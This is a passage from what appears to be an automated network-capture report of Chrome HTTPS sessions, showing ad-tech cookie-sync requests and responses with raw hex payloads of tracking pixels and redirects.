KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268_35%7C1715040000% [TRUNCATED]
2024-04-27 22:42:32 UTC	650	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1003=22761-6d350b20-04e7-11ef-9af6-9a7c2b29b5a3&KRTB&23275-6d350b20-04e7-11ef-9af6-9a7c2b29b5a3; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:32 GMT; path=/ Set-Cookie: PugT=1714257752; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:32 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.4	50555	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	881	OUT	GET /cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=sas%2Csyn%2Cpp%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AAERJ07MWv8AABVaVp3HVQ; bitoIsSecure=ok
2024-04-27 22:42:32 UTC	637	IN	HTTP/1.1 303 See Other Date: Sat, 27 Apr 2024 22:42:32 GMT location: https://rtb-csync.smartadserver.com/redir?partneruserid=AAERJ07MWv8AABVaVp3HVQ&partnerid=127&redirurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26bee_sync_partners%3Dsyn%252Cpp%252Cpm%26bee_sync_current_partner%3Dsas%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D2%26userid%3DSMART_USER_ID&gdpr=0 Server: gunicorn set-cookie: bito=AAERJ07MWv8AABVaVp3HVQ; Domain=bidr.io; expires=Tue, 27 May 2025 18:42:32 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.4	50554	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	827	OUT	GET /pixel?google_nid=casale_media2_dsp_secure&google_cm&google_hm=Zi1-RMAoJXEAAC4sAhP6pwAA HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:32 UTC	678	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1 Date: Sat, 27 Apr 2024 22:42:32 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 313 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:32 UTC	313	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 34 35 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 43 41 45 53 45 46 56 65 55 48 66 49 31 39 6a 4a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.4	50553	198.148.27.131	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1089	OUT	GET /bh/rtset?ev=AAERJ07MWv8AABVaVp3HVQ&do=add&pid=558502&rurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dsyn%252Csas%252Cpm%26bee_sync_current_partner%3Dpp%26bee_sync_initiator%3Dpm%26bee_sync_hop_count%3D1&gdpr=0 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gpp=DBAA; V=vRChMcXIG1l8; VP=part_vRChMcXIG1l8; pb_rtb_ev=3-1r1t\|7bq.0.1; pb_rtb_ev_part=3-1r1t\|7bq.0.1; INGRESSCOOKIE=08ab75abd62cbd36
2024-04-27 22:42:32 UTC	1413	IN	HTTP/1.1 302 Found Connection: close P3P: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Accept-CH: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version CW-Server: bh-deployment-777b7bb56-6wsj2 Cache-Control: private, max-age=0, no-cache, no-store Expires: -1 Content-Language: en-US Set-Cookie: V=vRChMcXIG1l8;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Tue, 22-Apr-2025 22:42:32 GMT;Max-Age=31104000;SameSite=None Set-Cookie: VP=part_vRChMcXIG1l8;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31104000;Secure;Expires=Tue, 22-Apr-2025 22:42:32 GMT;SameSite=None;Partitioned Set-Cookie: pb_rtb_ev=3-1r1t\|7dN.0.AAERJ07MWv8AABVaVp3HVQ\|7bq.0.1;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 27-Apr-2025 22:42:32 GMT;Max-Age=31536000;SameSite=None Set-Cookie: pb_rtb_ev_part=3-1r1t\|7dN.0.AAERJ07MWv8AABVaVp3HVQ\|7bq.0.1;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31536000;Secure;Expires=Sun, 27-Apr-2025 22:42:32 GMT;SameSite=None;Partitioned Location: https://match.prod.bidr.io/cookie-sync?gdpr=0&gdpr_consent=&bee_sync_partners=syn%2Csas%2Cpm&bee_sync_current_partner=pp&bee_sync_initiator=pm&bee_sync_hop_count=1&ev=AAERJ07MWv8AABVaVp3HVQ&pid=558502&do=add&gdpr=0 Server: Jetty(10.0.14) Strict-Transport-Security: max-age=15768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.4	50540	35.211.233.246	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	823	OUT	GET /ul_cb/sync?ssp=bidswitch&bidswitch_ssp_id=pubmatic HTTP/1.1 Host: a.sportradarserving.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuuid=74a074a3-f842-4ace-843b-9b8a1b17a96d; c=1714257752; zuuid_lu=1714257752
2024-04-27 22:42:32 UTC	915	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Sat, 27 Apr 2024 22:42:32 GMT Location: https://x.bidswitch.net/sync?dsp_id=409&expires=14&user_group=1&user_id=74a074a3-f842-4ace-843b-9b8a1b17a96d&ssp=pubmatic Set-Cookie: zuuid=74a074a3-f842-4ace-843b-9b8a1b17a96d; path=/; expires=Sat, 26-Apr-2025 22:42:32 GMT; domain=sportradarserving.com; samesite=none; secure Set-Cookie: zuuid_lu=1714257752; path=/; expires=Sat, 26-Apr-2025 22:42:32 GMT; domain=sportradarserving.com; samesite=none; secure Set-Cookie: zuuid_k=1; path=/; expires=Sat, 26-Apr-2025 22:42:32 GMT; domain=sportradarserving.com; samesite=none; secure Set-Cookie: zuuid_k_lu=1714257752; path=/; expires=Sat, 26-Apr-2025 22:42:32 GMT; domain=sportradarserving.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.4	50556	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	2579	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=smhRw3qDUOZWwnIliIFkhJUSGEU&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268_35%7C1715040000% [TRUNCATED]
2024-04-27 22:42:32 UTC	709	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:32 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_860=16335-smhRw3qDUOZWwnIliIFkhJUSGEU&KRTB&23334-smhRw3qDUOZWwnIliIFkhJUSGEU&KRTB&23417-smhRw3qDUOZWwnIliIFkhJUSGEU&KRTB&23426-smhRw3qDUOZWwnIliIFkhJUSGEU; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:32 GMT; path=/ Set-Cookie: PugT=1714257752; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:32 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.4	50551	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	976	OUT	GET /usersync/turn/4370901630804558154?dspret=1&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
2024-04-27 22:42:32 UTC	812	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:34 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%7D; path=/; expires=Sun, 27 Apr 2025 22:42:34 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.targeting.unrulymedia.com/csync/RX-915945b2-6af3-4975-9839-febe73c73a74-005?redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3DRX-915945b2-6af3-4975-9839-febe73c73a74-005 connection: close
2024-04-27 22:42:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.4	50558	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	2681	OUT	GET /setuid?bidder=conversant&uid=AAAG4_L7sbsefgNIt0YiAAAAAAA&expiration=1714344152&gpp_sid=-1&gpp=DBAA&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJndW1ndW0iOnsidWlkIjoidV80YzUzNTQwZS01YTIwLTRmYzAtOTRiYy05NmI1NjE4YTI1ZDIiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjozMi4yNzczODM5MTlaIn0sIm1lZGlhbmV0Ijp7InVpZCI6IjM1NzI1OTMyNDkxMDQ1OTAwMDBWM [TRUNCATED]
2024-04-27 22:42:32 UTC	42	IN	HTTP/1.1 200 OK content-type: image/png
2024-04-27 22:42:32 UTC	2139	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 75 69 64 73 3d 65 79 4a 30 5a 57 31 77 56 55 6c 45 63 79 49 36 65 79 4a 68 5a 47 35 34 63 79 49 36 65 79 4a 31 61 57 51 69 4f 69 49 78 4e 44 63 32 4d 44 55 34 4d 7a 6b 32 4f 44 55 77 4d 54 55 34 4d 44 59 78 49 69 77 69 5a 58 68 77 61 58 4a 6c 63 79 49 36 49 6a 49 77 4d 6a 51 74 4d 44 55 74 4d 54 46 55 4d 6a 49 36 4e 44 49 36 4d 54 41 75 4e 7a 63 79 4e 7a 63 35 4e 6a 6b 78 57 69 4a 39 4c 43 4a 68 5a 47 39 69 5a 53 49 36 65 79 4a 31 61 57 51 69 4f 69 4a 61 61 54 45 74 55 47 64 42 51 58 5a 33 63 30 35 79 55 55 46 47 49 69 77 69 5a 58 68 77 61 58 4a 6c 63 79 49 36 49 6a 49 77 4d 6a 51 74 4d 44 55 74 4d 54 46 55 4d 6a 49 36 4e 44 49 36 4d 54 59 75 4e 44 6b 79 4e 54 51 33 4f 44 41 79 57 69 4a 39 4c 43 4a 6a 62 32 35 32 5a 58 Data Ascii: set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJjb252ZX
2024-04-27 22:42:32 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.4	50557	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	1134	OUT	GET /csync/RX-915945b2-6af3-4975-9839-febe73c73a74-005?redir=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D37%26buyeruid%3DRX-915945b2-6af3-4975-9839-febe73c73a74-005%26r%3DCid1YS01YzAyODA5NS05YzA1LTM2YTQtYjhlOS03YThhNDg0MjUyODgiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLTVjMDI4MDk1LTljMDUtMzZhNC1iOGU5LTdhOGE0ODQyNTI4ODICJRI4AQ%3D%3D%26us_privacy%3D1YNN HTTP/1.1 Host: sync.targeting.unrulymedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%7D
2024-04-27 22:42:32 UTC	854	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:35 GMT content-type: text/html transfer-encoding: chunked set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%7D; path=/; expires=Sun, 27 Apr 2025 22:42:35 GMT; domain=.targeting.unrulymedia.com; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://ssp.disqus.com/match?bidder=37&buyeruid=RX-915945b2-6af3-4975-9839-febe73c73a74-005&r=Cid1YS01YzAyODA5NS05YzA1LTM2YTQtYjhlOS03YThhNDg0MjUyODgiBDFZTk4qjAFodHRwczovL3Bicy55YWhvby5jb20vc2V0dWlkP2JpZGRlcj16ZXRhX2dsb2JhbF9zc3AmZ2Rwcj0wJmdkcHJfY29uc2VudD0mZ3BwPURCQUEmZ3BwX3NpZD0tMSZmPWkmdWlkPXVhLTVjMDI4MDk1LTljMDUtMzZhNC1iOGU5LTdhOGE0ODQyNTI4ODICJRI4AQ==&us_privacy=1YNN etag: RX915945b26af349759839febe73c73a74005 connection: close
2024-04-27 22:42:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.4	50549	185.184.8.90	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:32 UTC	678	OUT	GET /cm-notify?pi=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=Ae9Pv17JW9jx3PfTe025_1714257720455; ts=1714257720
